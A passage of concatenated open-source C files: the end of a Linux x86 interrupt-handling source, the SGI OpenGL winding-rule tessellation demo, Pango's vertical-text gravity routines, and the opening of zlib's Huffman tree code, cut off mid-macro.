set_irq_regs(old_regs);
}
#ifdef CONFIG_X86_LOCAL_APIC
/* Function pointer for generic interrupt vector handling */
void (*x86_platform_ipi_callback)(void) = NULL;
/*
* Handler for X86_PLATFORM_IPI_VECTOR.
*/
DEFINE_IDTENTRY_SYSVEC(sysvec_x86_platform_ipi)
{
struct pt_regs *old_regs = set_irq_regs(regs);
ack_APIC_irq();
trace_x86_platform_ipi_entry(X86_PLATFORM_IPI_VECTOR);
inc_irq_stat(x86_platform_ipis);
if (x86_platform_ipi_callback)
x86_platform_ipi_callback();
trace_x86_platform_ipi_exit(X86_PLATFORM_IPI_VECTOR);
set_irq_regs(old_regs);
}
#endif
#ifdef CONFIG_HAVE_KVM
static void dummy_handler(void) {}
static void (*kvm_posted_intr_wakeup_handler)(void) = dummy_handler;
void kvm_set_posted_intr_wakeup_handler(void (*handler)(void))
{
if (handler)
kvm_posted_intr_wakeup_handler = handler;
else
kvm_posted_intr_wakeup_handler = dummy_handler;
}
EXPORT_SYMBOL_GPL(kvm_set_posted_intr_wakeup_handler);
/*
* Handler for POSTED_INTERRUPT_VECTOR.
*/
DEFINE_IDTENTRY_SYSVEC_SIMPLE(sysvec_kvm_posted_intr_ipi)
{
ack_APIC_irq();
inc_irq_stat(kvm_posted_intr_ipis);
}
/*
* Handler for POSTED_INTERRUPT_WAKEUP_VECTOR.
*/
DEFINE_IDTENTRY_SYSVEC(sysvec_kvm_posted_intr_wakeup_ipi)
{
ack_APIC_irq();
inc_irq_stat(kvm_posted_intr_wakeup_ipis);
kvm_posted_intr_wakeup_handler();
}
/*
* Handler for POSTED_INTERRUPT_NESTED_VECTOR.
*/
DEFINE_IDTENTRY_SYSVEC_SIMPLE(sysvec_kvm_posted_intr_nested_ipi)
{
ack_APIC_irq();
inc_irq_stat(kvm_posted_intr_nested_ipis);
}
#endif
#ifdef CONFIG_HOTPLUG_CPU
/* A cpu has been removed from cpu_online_mask. Reset irq affinities. */
void fixup_irqs(void)
{
unsigned int irr, vector;
struct irq_desc *desc;
struct irq_data *data;
struct irq_chip *chip;
irq_migrate_all_off_this_cpu();
/*
* We can remove mdelay() and then send spuriuous interrupts to
* new cpu targets for all the irqs that were handled previously by
* this cpu. While it works, I have seen spurious interrupt messages
* (nothing wrong but still...).
*
* So for now, retain mdelay(1) and check the IRR and then send those
* interrupts to new targets as this cpu is already offlined...
*/
mdelay(1);
/*
* We can walk the vector array of this cpu without holding
* vector_lock because the cpu is already marked !online, so
* nothing else will touch it.
*/
for (vector = FIRST_EXTERNAL_VECTOR; vector < NR_VECTORS; vector++) {
if (IS_ERR_OR_NULL(__this_cpu_read(vector_irq[vector])))
continue;
irr = apic_read(APIC_IRR + (vector / 32 * 0x10));
if (irr & (1 << (vector % 32))) {
desc = __this_cpu_read(vector_irq[vector]);
raw_spin_lock(&desc->lock);
data = irq_desc_get_irq_data(desc);
chip = irq_data_get_irq_chip(data);
if (chip->irq_retrigger) {
chip->irq_retrigger(data);
__this_cpu_write(vector_irq[vector], VECTOR_RETRIGGERED);
}
raw_spin_unlock(&desc->lock);
}
if (__this_cpu_read(vector_irq[vector]) != VECTOR_RETRIGGERED)
__this_cpu_write(vector_irq[vector], VECTOR_UNUSED);
}
}
#endif
|
662474.c | /*
* Copyright (c) 1993-1997, Silicon Graphics, Inc.
* ALL RIGHTS RESERVED
* Permission to use, copy, modify, and distribute this software for
* any purpose and without fee is hereby granted, provided that the above
* copyright notice appear in all copies and that both the copyright notice
* and this permission notice appear in supporting documentation, and that
* the name of Silicon Graphics, Inc. not be used in advertising
* or publicity pertaining to distribution of the software without specific,
* written prior permission.
*
* THE MATERIAL EMBODIED ON THIS SOFTWARE IS PROVIDED TO YOU "AS-IS"
* AND WITHOUT WARRANTY OF ANY KIND, EXPRESS, IMPLIED OR OTHERWISE,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR
* FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL SILICON
* GRAPHICS, INC. BE LIABLE TO YOU OR ANYONE ELSE FOR ANY DIRECT,
* SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY
* KIND, OR ANY DAMAGES WHATSOEVER, INCLUDING WITHOUT LIMITATION,
* LOSS OF PROFIT, LOSS OF USE, SAVINGS OR REVENUE, OR THE CLAIMS OF
* THIRD PARTIES, WHETHER OR NOT SILICON GRAPHICS, INC. HAS BEEN
* ADVISED OF THE POSSIBILITY OF SUCH LOSS, HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE
* POSSESSION, USE OR PERFORMANCE OF THIS SOFTWARE.
*
* US Government Users Restricted Rights
* Use, duplication, or disclosure by the Government is subject to
* restrictions set forth in FAR 52.227.19(c)(2) or subparagraph
* (c)(1)(ii) of the Rights in Technical Data and Computer Software
* clause at DFARS 252.227-7013 and/or in similar or successor
* clauses in the FAR or the DOD or NASA FAR Supplement.
* Unpublished-- rights reserved under the copyright laws of the
* United States. Contractor/manufacturer is Silicon Graphics,
* Inc., 2011 N. Shoreline Blvd., Mountain View, CA 94039-7311.
*
* OpenGL(R) is a registered trademark of Silicon Graphics, Inc.
*/
/*
* tesswind.c
* This program demonstrates the winding rule polygon
* tessellation property. Four tessellated objects are drawn,
* each with very different contours. When the w key is pressed,
* the objects are drawn with a different winding rule.
*/
#include <GL/glut.h>
#include <stdlib.h>
#include <stdio.h>
#ifdef GLU_VERSION_1_2
/* Win32 calling conventions. */
#ifndef CALLBACK
#define CALLBACK
#endif
GLdouble currentWinding = GLU_TESS_WINDING_ODD;
int currentShape = 0;
GLUtesselator *tobj;
GLuint list;
/* Make four display lists,
* each with a different tessellated object.
*/
void makeNewLists (void) {
int i;
static GLdouble rects[12][3] =
{50.0, 50.0, 0.0, 300.0, 50.0, 0.0,
300.0, 300.0, 0.0, 50.0, 300.0, 0.0,
100.0, 100.0, 0.0, 250.0, 100.0, 0.0,
250.0, 250.0, 0.0, 100.0, 250.0, 0.0,
150.0, 150.0, 0.0, 200.0, 150.0, 0.0,
200.0, 200.0, 0.0, 150.0, 200.0, 0.0};
static GLdouble spiral[16][3] =
{400.0, 250.0, 0.0, 400.0, 50.0, 0.0,
50.0, 50.0, 0.0, 50.0, 400.0, 0.0,
350.0, 400.0, 0.0, 350.0, 100.0, 0.0,
100.0, 100.0, 0.0, 100.0, 350.0, 0.0,
300.0, 350.0, 0.0, 300.0, 150.0, 0.0,
150.0, 150.0, 0.0, 150.0, 300.0, 0.0,
250.0, 300.0, 0.0, 250.0, 200.0, 0.0,
200.0, 200.0, 0.0, 200.0, 250.0, 0.0};
static GLdouble quad1[4][3] =
{50.0, 150.0, 0.0, 350.0, 150.0, 0.0,
350.0, 200.0, 0.0, 50.0, 200.0, 0.0};
static GLdouble quad2[4][3] =
{100.0, 100.0, 0.0, 300.0, 100.0, 0.0,
300.0, 350.0, 0.0, 100.0, 350.0, 0.0};
static GLdouble tri[3][3] =
{200.0, 50.0, 0.0, 250.0, 300.0, 0.0,
150.0, 300.0, 0.0};
gluTessProperty(tobj, GLU_TESS_WINDING_RULE,
currentWinding);
glNewList(list, GL_COMPILE);
gluTessBeginPolygon(tobj, NULL);
gluTessBeginContour(tobj);
for (i = 0; i < 4; i++)
gluTessVertex(tobj, rects[i], rects[i]);
gluTessEndContour(tobj);
gluTessBeginContour(tobj);
for (i = 4; i < 8; i++)
gluTessVertex(tobj, rects[i], rects[i]);
gluTessEndContour(tobj);
gluTessBeginContour(tobj);
for (i = 8; i < 12; i++)
gluTessVertex(tobj, rects[i], rects[i]);
gluTessEndContour(tobj);
gluTessEndPolygon(tobj);
glEndList();
glNewList(list+1, GL_COMPILE);
gluTessBeginPolygon(tobj, NULL);
gluTessBeginContour(tobj);
for (i = 0; i < 4; i++)
gluTessVertex(tobj, rects[i], rects[i]);
gluTessEndContour(tobj);
gluTessBeginContour(tobj);
for (i = 7; i >= 4; i--)
gluTessVertex(tobj, rects[i], rects[i]);
gluTessEndContour(tobj);
gluTessBeginContour(tobj);
for (i = 11; i >= 8; i--)
gluTessVertex(tobj, rects[i], rects[i]);
gluTessEndContour(tobj);
gluTessEndPolygon(tobj);
glEndList();
glNewList(list+2, GL_COMPILE);
gluTessBeginPolygon(tobj, NULL);
gluTessBeginContour(tobj);
for (i = 0; i < 16; i++)
gluTessVertex(tobj, spiral[i], spiral[i]);
gluTessEndContour(tobj);
gluTessEndPolygon(tobj);
glEndList();
glNewList(list+3, GL_COMPILE);
gluTessBeginPolygon(tobj, NULL);
gluTessBeginContour(tobj);
for (i = 0; i < 4; i++)
gluTessVertex(tobj, quad1[i], quad1[i]);
gluTessEndContour(tobj);
gluTessBeginContour(tobj);
for (i = 0; i < 4; i++)
gluTessVertex(tobj, quad2[i], quad2[i]);
gluTessEndContour(tobj);
gluTessBeginContour(tobj);
for (i = 0; i < 3; i++)
gluTessVertex(tobj, tri[i], tri[i]);
gluTessEndContour(tobj);
gluTessEndPolygon(tobj);
glEndList();
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
glColor3f(1.0, 1.0, 1.0);
glPushMatrix();
glCallList(list);
glTranslatef(0.0, 500.0, 0.0);
glCallList(list+1);
glTranslatef(500.0, -500.0, 0.0);
glCallList(list+2);
glTranslatef(0.0, 500.0, 0.0);
glCallList(list+3);
glPopMatrix();
glFlush();
}
void CALLBACK beginCallback(GLenum which)
{
glBegin(which);
}
void CALLBACK errorCallback(GLenum errorCode)
{
const GLubyte *estring;
estring = gluErrorString(errorCode);
fprintf(stderr, "Tessellation Error: %s\n", estring);
exit(0);
}
void CALLBACK endCallback(void)
{
glEnd();
}
/* combineCallback is used to create a new vertex when edges
* intersect. coordinate location is trivial to calculate,
* but weight[4] may be used to average color, normal, or texture
* coordinate data.
*/
/* ARGSUSED */
void CALLBACK combineCallback(GLdouble coords[3], GLdouble *data[4],
GLfloat weight[4], GLdouble **dataOut )
{
GLdouble *vertex;
vertex = (GLdouble *) malloc(3 * sizeof(GLdouble));
vertex[0] = coords[0];
vertex[1] = coords[1];
vertex[2] = coords[2];
*dataOut = vertex;
}
void init(void)
{
glClearColor(0.0, 0.0, 0.0, 0.0);
glShadeModel(GL_FLAT);
tobj = gluNewTess();
gluTessCallback(tobj, GLU_TESS_VERTEX,
(GLvoid (CALLBACK*) ()) &glVertex3dv);
gluTessCallback(tobj, GLU_TESS_BEGIN,
(GLvoid (CALLBACK*) ()) &beginCallback);
gluTessCallback(tobj, GLU_TESS_END,
(GLvoid (CALLBACK*) ()) &endCallback);
gluTessCallback(tobj, GLU_TESS_ERROR,
(GLvoid (CALLBACK*) ()) &errorCallback);
gluTessCallback(tobj, GLU_TESS_COMBINE,
(GLvoid (CALLBACK*) ()) &combineCallback);
list = glGenLists(4);
makeNewLists();
}
void reshape(int w, int h)
{
glViewport(0, 0, (GLsizei) w, (GLsizei) h);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
if (w <= h)
gluOrtho2D(0.0, 1000.0, 0.0, 1000.0 * (GLdouble)h/(GLdouble)w);
else
gluOrtho2D(0.0, 1000.0 * (GLdouble)w/(GLdouble)h, 0.0, 1000.0);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
}
/* ARGSUSED1 */
void keyboard(unsigned char key, int x, int y)
{
switch (key) {
case 'w':
case 'W':
if (currentWinding == GLU_TESS_WINDING_ODD)
currentWinding = GLU_TESS_WINDING_NONZERO;
else if (currentWinding == GLU_TESS_WINDING_NONZERO)
currentWinding = GLU_TESS_WINDING_POSITIVE;
else if (currentWinding == GLU_TESS_WINDING_POSITIVE)
currentWinding = GLU_TESS_WINDING_NEGATIVE;
else if (currentWinding == GLU_TESS_WINDING_NEGATIVE)
currentWinding = GLU_TESS_WINDING_ABS_GEQ_TWO;
else if (currentWinding == GLU_TESS_WINDING_ABS_GEQ_TWO)
currentWinding = GLU_TESS_WINDING_ODD;
makeNewLists();
glutPostRedisplay();
break;
case 27:
exit(0);
break;
default:
break;
}
}
int main(int argc, char** argv)
{
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB);
glutInitWindowSize(500, 500);
glutCreateWindow(argv[0]);
init();
glutDisplayFunc(display);
glutReshapeFunc(reshape);
glutKeyboardFunc(keyboard);
glutMainLoop();
return 0;
}
#else
int main(int argc, char** argv)
{
fprintf (stderr, "This program demonstrates the new tesselator API in GLU 1.2.\n");
fprintf (stderr, "Your GLU library does not support this new interface, sorry.\n");
return 0;
}
#endif
|
645332.c | /* Pango
* pango-gravity.c: Gravity routines
*
* Copyright (C) 2006, 2007 Red Hat Software
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public
* License along with this library; if not, write to the
* Free Software Foundation, Inc., 59 Temple Place - Suite 330,
* Boston, MA 02111-1307, USA.
*/
/**
* SECTION:vertical
* @short_description:Laying text out in vertical directions
* @title:Vertical Text
* @see_also: pango_context_get_base_gravity(),
* pango_context_set_base_gravity(),
* pango_context_get_gravity(),
* pango_context_get_gravity_hint(),
* pango_context_set_gravity_hint(),
* pango_font_description_set_gravity(),
* pango_font_description_get_gravity(),
* pango_attr_gravity_new(),
* pango_attr_gravity_hint_new()
*
* Since 1.16, Pango is able to correctly lay vertical text out. In fact, it can
* set layouts of mixed vertical and non-vertical text. This section describes
* the types used for setting vertical text parameters.
*
* The way this is implemented is through the concept of
* <firstterm>gravity</firstterm>. Gravity of normal Latin text is south. A
* gravity value of east means that glyphs will be rotated ninety degrees
* counterclockwise. So, to render vertical text one needs to set the gravity
* and rotate the layout using the matrix machinery already in place. This has
* the huge advantage that most algorithms working on a #PangoLayout do not need
* any change as the assumption that lines run in the X direction and stack in
* the Y direction holds even for vertical text layouts.
*
* Applications should only need to set base gravity on #PangoContext in use, and
* let Pango decide the gravity assigned to each run of text. This automatically
* handles text with mixed scripts. A very common use is to set the context base
* gravity to auto using pango_context_set_base_gravity()
* and rotate the layout normally. Pango will make sure that
* Asian languages take the right form, while other scripts are rotated normally.
*
* The correct way to set gravity on a layout is to set it on the context
* associated with it using pango_context_set_base_gravity(). The context
* of a layout can be accessed using pango_layout_get_context(). The currently
* set base gravity of the context can be accessed using
* pango_context_get_base_gravity() and the <firstterm>resolved</firstterm>
* gravity of it using pango_context_get_gravity(). The resolved gravity is
* the same as the base gravity for the most part, except that if the base
* gravity is set to %PANGO_GRAVITY_AUTO, the resolved gravity will depend
* on the current matrix set on context, and is derived using
* pango_gravity_get_for_matrix().
*
* The next thing an application may want to set on the context is the
* <firstterm>gravity hint</firstterm>. A #PangoGravityHint instructs how
* different scripts should react to the set base gravity.
*
* Font descriptions have a gravity property too, that can be set using
* pango_font_description_set_gravity() and accessed using
* pango_font_description_get_gravity(). However, those are rarely useful
* from application code and are mainly used by #PangoLayout internally.
*
* Last but not least, one can create #PangoAttribute<!---->s for gravity
* and gravity hint using pango_attr_gravity_new() and
* pango_attr_gravity_hint_new().
*/
#include "config.h"
#include "pango-gravity.h"
#include <math.h>
/**
* pango_gravity_to_rotation:
* @gravity: gravity to query
*
* Converts a #PangoGravity value to its natural rotation in radians.
* @gravity should not be %PANGO_GRAVITY_AUTO.
*
* Note that pango_matrix_rotate() takes angle in degrees, not radians.
* So, to call pango_matrix_rotate() with the output of this function
* you should multiply it by (180. / G_PI).
*
* Return value: the rotation value corresponding to @gravity.
*
* Since: 1.16
*/
double
pango_gravity_to_rotation (PangoGravity gravity)
{
double rotation;
g_return_val_if_fail (gravity != PANGO_GRAVITY_AUTO, 0);
switch (gravity)
{
default:
case PANGO_GRAVITY_AUTO: /* shut gcc up */
case PANGO_GRAVITY_SOUTH: rotation = 0; break;
case PANGO_GRAVITY_NORTH: rotation = G_PI; break;
case PANGO_GRAVITY_EAST: rotation = -G_PI_2; break;
case PANGO_GRAVITY_WEST: rotation = +G_PI_2; break;
}
return rotation;
}
/**
* pango_gravity_get_for_matrix:
* @matrix: (nullable): a #PangoMatrix
*
* Finds the gravity that best matches the rotation component
* in a #PangoMatrix.
*
* Return value: the gravity of @matrix, which will never be
* %PANGO_GRAVITY_AUTO, or %PANGO_GRAVITY_SOUTH if @matrix is %NULL
*
* Since: 1.16
*/
PangoGravity
pango_gravity_get_for_matrix (const PangoMatrix *matrix)
{
PangoGravity gravity;
double x;
double y;
if (!matrix)
return PANGO_GRAVITY_SOUTH;
x = matrix->xy;
y = matrix->yy;
if (fabs (x) > fabs (y))
gravity = x > 0 ? PANGO_GRAVITY_WEST : PANGO_GRAVITY_EAST;
else
gravity = y < 0 ? PANGO_GRAVITY_NORTH : PANGO_GRAVITY_SOUTH;
return gravity;
}
typedef enum
{
PANGO_VERTICAL_DIRECTION_NONE,
PANGO_VERTICAL_DIRECTION_TTB,
PANGO_VERTICAL_DIRECTION_BTT
} PangoVerticalDirection;
typedef struct {
/* PangoDirection */
guint8 horiz_dir; /* Orientation in horizontal context */
/* PangoVerticalDirection */
guint8 vert_dir; /* Orientation in vertical context */
/* PangoGravity */
guint8 preferred_gravity; /* Preferred context gravity */
/* gboolean */
guint8 wide; /* Whether script is mostly wide.
* Wide characters are upright (ie.
* not rotated) in foreign context */
} PangoScriptProperties;
#define NONE PANGO_VERTICAL_DIRECTION_NONE
#define TTB PANGO_VERTICAL_DIRECTION_TTB
#define BTT PANGO_VERTICAL_DIRECTION_BTT
#define LTR PANGO_DIRECTION_LTR
#define RTL PANGO_DIRECTION_RTL
#define WEAK PANGO_DIRECTION_WEAK_LTR
#define S PANGO_GRAVITY_SOUTH
#define E PANGO_GRAVITY_EAST
#define W PANGO_GRAVITY_WEST
const PangoScriptProperties script_properties[] =
{ /* ISO 15924 code */
{LTR, NONE, S, FALSE}, /* Zyyy */
{LTR, NONE, S, FALSE}, /* Qaai */
{RTL, NONE, S, FALSE}, /* Arab */
{LTR, NONE, S, FALSE}, /* Armn */
{LTR, NONE, S, FALSE}, /* Beng */
{LTR, TTB, E, TRUE }, /* Bopo */
{LTR, NONE, S, FALSE}, /* Cher */
{LTR, NONE, S, FALSE}, /* Qaac */
{LTR, NONE, S, FALSE}, /* Cyrl (Cyrs) */
{LTR, NONE, S, FALSE}, /* Dsrt */
{LTR, NONE, S, FALSE}, /* Deva */
{LTR, NONE, S, FALSE}, /* Ethi */
{LTR, NONE, S, FALSE}, /* Geor (Geon, Geoa) */
{LTR, NONE, S, FALSE}, /* Goth */
{LTR, NONE, S, FALSE}, /* Grek */
{LTR, NONE, S, FALSE}, /* Gujr */
{LTR, NONE, S, FALSE}, /* Guru */
{LTR, TTB, E, TRUE }, /* Hani */
{LTR, TTB, E, TRUE }, /* Hang */
{RTL, NONE, S, FALSE}, /* Hebr */
{LTR, TTB, E, TRUE }, /* Hira */
{LTR, NONE, S, FALSE}, /* Knda */
{LTR, TTB, E, TRUE }, /* Kana */
{LTR, NONE, S, FALSE}, /* Khmr */
{LTR, NONE, S, FALSE}, /* Laoo */
{LTR, NONE, S, FALSE}, /* Latn (Latf, Latg) */
{LTR, NONE, S, FALSE}, /* Mlym */
{WEAK,TTB, W, FALSE}, /* Mong */
{LTR, NONE, S, FALSE}, /* Mymr */
{LTR, BTT, W, FALSE}, /* Ogam */
{LTR, NONE, S, FALSE}, /* Ital */
{LTR, NONE, S, FALSE}, /* Orya */
{LTR, NONE, S, FALSE}, /* Runr */
{LTR, NONE, S, FALSE}, /* Sinh */
{RTL, NONE, S, FALSE}, /* Syrc (Syrj, Syrn, Syre) */
{LTR, NONE, S, FALSE}, /* Taml */
{LTR, NONE, S, FALSE}, /* Telu */
{RTL, NONE, S, FALSE}, /* Thaa */
{LTR, NONE, S, FALSE}, /* Thai */
{LTR, NONE, S, FALSE}, /* Tibt */
{LTR, NONE, S, FALSE}, /* Cans */
{LTR, TTB, S, TRUE }, /* Yiii */
{LTR, NONE, S, FALSE}, /* Tglg */
{LTR, NONE, S, FALSE}, /* Hano */
{LTR, NONE, S, FALSE}, /* Buhd */
{LTR, NONE, S, FALSE}, /* Tagb */
/* Unicode-4.0 additions */
{LTR, NONE, S, FALSE}, /* Brai */
{RTL, NONE, S, FALSE}, /* Cprt */
{LTR, NONE, S, FALSE}, /* Limb */
{LTR, NONE, S, FALSE}, /* Osma */
{LTR, NONE, S, FALSE}, /* Shaw */
{LTR, NONE, S, FALSE}, /* Linb */
{LTR, NONE, S, FALSE}, /* Tale */
{LTR, NONE, S, FALSE}, /* Ugar */
/* Unicode-4.1 additions */
{LTR, NONE, S, FALSE}, /* Talu */
{LTR, NONE, S, FALSE}, /* Bugi */
{LTR, NONE, S, FALSE}, /* Glag */
{LTR, NONE, S, FALSE}, /* Tfng */
{LTR, NONE, S, FALSE}, /* Sylo */
{LTR, NONE, S, FALSE}, /* Xpeo */
{LTR, NONE, S, FALSE}, /* Khar */
/* Unicode-5.0 additions */
{LTR, NONE, S, FALSE}, /* Zzzz */
{LTR, NONE, S, FALSE}, /* Bali */
{LTR, NONE, S, FALSE}, /* Xsux */
{RTL, NONE, S, FALSE}, /* Phnx */
{LTR, NONE, S, FALSE}, /* Phag */
{RTL, NONE, S, FALSE} /* Nkoo */
};
#undef NONE
#undef TTB
#undef BTT
#undef LTR
#undef RTL
#undef WEAK
#undef S
#undef E
#undef N
#undef W
static PangoScriptProperties
get_script_properties (PangoScript script)
{
g_return_val_if_fail (script >= 0, script_properties[0]);
if ((guint)script >= G_N_ELEMENTS (script_properties))
return script_properties[0];
return script_properties[script];
}
/**
* pango_gravity_get_for_script:
* @script: #PangoScript to query
* @base_gravity: base gravity of the paragraph
* @hint: orientation hint
*
* Based on the script, base gravity, and hint, returns actual gravity
* to use in laying out a single #PangoItem.
*
* If @base_gravity is %PANGO_GRAVITY_AUTO, it is first replaced with the
* preferred gravity of @script. To get the preferred gravity of a script,
* pass %PANGO_GRAVITY_AUTO and %PANGO_GRAVITY_HINT_STRONG in.
*
* Return value: resolved gravity suitable to use for a run of text
* with @script.
*
* Since: 1.16
*/
PangoGravity
pango_gravity_get_for_script (PangoScript script,
PangoGravity base_gravity,
PangoGravityHint hint)
{
PangoScriptProperties props = get_script_properties (script);
if (G_UNLIKELY (base_gravity == PANGO_GRAVITY_AUTO))
base_gravity = props.preferred_gravity;
return pango_gravity_get_for_script_and_width (script, props.wide,
base_gravity, hint);
}
/**
* pango_gravity_get_for_script_and_width:
* @script: #PangoScript to query
* @wide: %TRUE for wide characters as returned by g_unichar_iswide()
* @base_gravity: base gravity of the paragraph
* @hint: orientation hint
*
* Based on the script, East Asian width, base gravity, and hint,
* returns actual gravity to use in laying out a single character
* or #PangoItem.
*
* This function is similar to pango_gravity_get_for_script() except
* that this function makes a distinction between narrow/half-width and
* wide/full-width characters also. Wide/full-width characters always
* stand <emphasis>upright</emphasis>, that is, they always take the base gravity,
* whereas narrow/full-width characters are always rotated in vertical
* context.
*
* If @base_gravity is %PANGO_GRAVITY_AUTO, it is first replaced with the
* preferred gravity of @script.
*
* Return value: resolved gravity suitable to use for a run of text
* with @script and @wide.
*
* Since: 1.26
*/
PangoGravity
pango_gravity_get_for_script_and_width (PangoScript script,
gboolean wide,
PangoGravity base_gravity,
PangoGravityHint hint)
{
PangoScriptProperties props = get_script_properties (script);
gboolean vertical;
if (G_UNLIKELY (base_gravity == PANGO_GRAVITY_AUTO))
base_gravity = props.preferred_gravity;
vertical = PANGO_GRAVITY_IS_VERTICAL (base_gravity);
/* Everything is designed such that a system with no vertical support
* renders everything correctly horizontally. So, if not in a vertical
* gravity, base and resolved gravities are always the same.
*
* Wide characters are always upright.
*/
if (G_LIKELY (!vertical || wide))
return base_gravity;
/* If here, we have a narrow character in a vertical gravity setting.
* Resolve depending on the hint.
*/
switch (hint)
{
default:
case PANGO_GRAVITY_HINT_NATURAL:
if (props.vert_dir == PANGO_VERTICAL_DIRECTION_NONE)
return PANGO_GRAVITY_SOUTH;
if ((base_gravity == PANGO_GRAVITY_EAST) ^
(props.vert_dir == PANGO_VERTICAL_DIRECTION_BTT))
return PANGO_GRAVITY_SOUTH;
else
return PANGO_GRAVITY_NORTH;
case PANGO_GRAVITY_HINT_STRONG:
return base_gravity;
case PANGO_GRAVITY_HINT_LINE:
if ((base_gravity == PANGO_GRAVITY_EAST) ^
(props.horiz_dir == PANGO_DIRECTION_RTL))
return PANGO_GRAVITY_SOUTH;
else
return PANGO_GRAVITY_NORTH;
}
}
|
990518.c | /* trees.c -- output deflated data using Huffman coding
* Copyright (C) 1995-2012 Jean-loup Gailly
* detect_data_type() function provided freely by Cosmin Truta, 2006
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/*
* ALGORITHM
*
* The "deflation" process uses several Huffman trees. The more
* common source values are represented by shorter bit sequences.
*
* Each code tree is stored in a compressed form which is itself
* a Huffman encoding of the lengths of all the code strings (in
* ascending order by source values). The actual code strings are
* reconstructed from the lengths in the inflate process, as described
* in the deflate specification.
*
* REFERENCES
*
* Deutsch, L.P.,"'Deflate' Compressed Data Format Specification".
* Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc
*
* Storer, James A.
* Data Compression: Methods and Theory, pp. 49-50.
* Computer Science Press, 1988. ISBN 0-7167-8156-5.
*
* Sedgewick, R.
* Algorithms, p290.
* Addison-Wesley, 1983. ISBN 0-201-06672-6.
*/
/* @(#) $Id$ */
/* #define GEN_TREES_H */
#include "deflate.h"
// RB: avoid problems with SourceAnnotations.h
#define VERIFY_FORMAT_STRING
//#include "idlib/sys/sys_defines.h"
#ifdef DEBUG
# include <ctype.h>
#endif
/* ===========================================================================
* Constants
*/
#define MAX_BL_BITS 7
/* Bit length codes must not exceed MAX_BL_BITS bits */
#define END_BLOCK 256
/* end of block literal code */
#define REP_3_6 16
/* repeat previous bit length 3-6 times (2 bits of repeat count) */
#define REPZ_3_10 17
/* repeat a zero length 3-10 times (3 bits of repeat count) */
#define REPZ_11_138 18
/* repeat a zero length 11-138 times (7 bits of repeat count) */
local const int extra_lbits[LENGTH_CODES] /* extra bits for each length code */
= {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0};
local const int extra_dbits[D_CODES] /* extra bits for each distance code */
= {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};
local const int extra_blbits[BL_CODES]/* extra bits for each bit length code */
= {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7};
local const uch bl_order[BL_CODES]
= {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15};
/* The lengths of the bit length codes are sent in order of decreasing
* probability, to avoid transmitting the lengths for unused bit length codes.
*/
/* ===========================================================================
* Local data. These are initialized only once.
*/
#define DIST_CODE_LEN 512 /* see definition of array dist_code below */
#if defined(GEN_TREES_H) || !defined(STDC)
/* non ANSI compilers may not accept trees.h */
local ct_data static_ltree[L_CODES+2];
/* The static literal tree. Since the bit lengths are imposed, there is no
* need for the L_CODES extra codes used during heap construction. However
* The codes 286 and 287 are needed to build a canonical tree (see _tr_init
* below).
*/
local ct_data static_dtree[D_CODES];
/* The static distance tree. (Actually a trivial tree since all codes use
* 5 bits.)
*/
uch _dist_code[DIST_CODE_LEN];
/* Distance codes. The first 256 values correspond to the distances
* 3 .. 258, the last 256 values correspond to the top 8 bits of
* the 15 bit distances.
*/
uch _length_code[MAX_MATCH-MIN_MATCH+1];
/* length code for each normalized match length (0 == MIN_MATCH) */
local int base_length[LENGTH_CODES];
/* First normalized length for each code (0 = MIN_MATCH) */
local int base_dist[D_CODES];
/* First normalized distance for each code (0 = distance of 1) */
#else
# include "trees.h"
#endif /* GEN_TREES_H */
struct static_tree_desc_s {
const ct_data *static_tree; /* static tree or NULL */
const intf *extra_bits; /* extra bits for each code or NULL */
int extra_base; /* base index for extra_bits */
int elems; /* max number of elements in the tree */
int max_length; /* max bit length for the codes */
};
local static_tree_desc static_l_desc =
{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS};
local static_tree_desc static_d_desc =
{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS};
local static_tree_desc static_bl_desc =
{(const ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS};
/* ===========================================================================
* Local (static) routines in this file.
*/
local void tr_static_init OF((void));
local void init_block OF((deflate_state *s));
local void pqdownheap OF((deflate_state *s, ct_data *tree, int k));
local void gen_bitlen OF((deflate_state *s, tree_desc *desc));
local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count));
local void build_tree OF((deflate_state *s, tree_desc *desc));
local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code));
local void send_tree OF((deflate_state *s, ct_data *tree, int max_code));
local int build_bl_tree OF((deflate_state *s));
local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes,
int blcodes));
local void compress_block OF((deflate_state *s, ct_data *ltree,
ct_data *dtree));
local int detect_data_type OF((deflate_state *s));
local unsigned bi_reverse OF((unsigned value, int length));
local void bi_windup OF((deflate_state *s));
local void bi_flush OF((deflate_state *s));
local void copy_block OF((deflate_state *s, charf *buf, unsigned len,
int header));
#ifdef GEN_TREES_H
local void gen_trees_header OF((void));
#endif
#ifndef DEBUG
# define send_code(s, c, tree) send_bits(s, tree[c].Code, tree[c].Len)
/* Send a code of the given tree. c and tree must not have side effects */
#else /* DEBUG */
# define send_code(s, c, tree) \
{ if (z_verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \
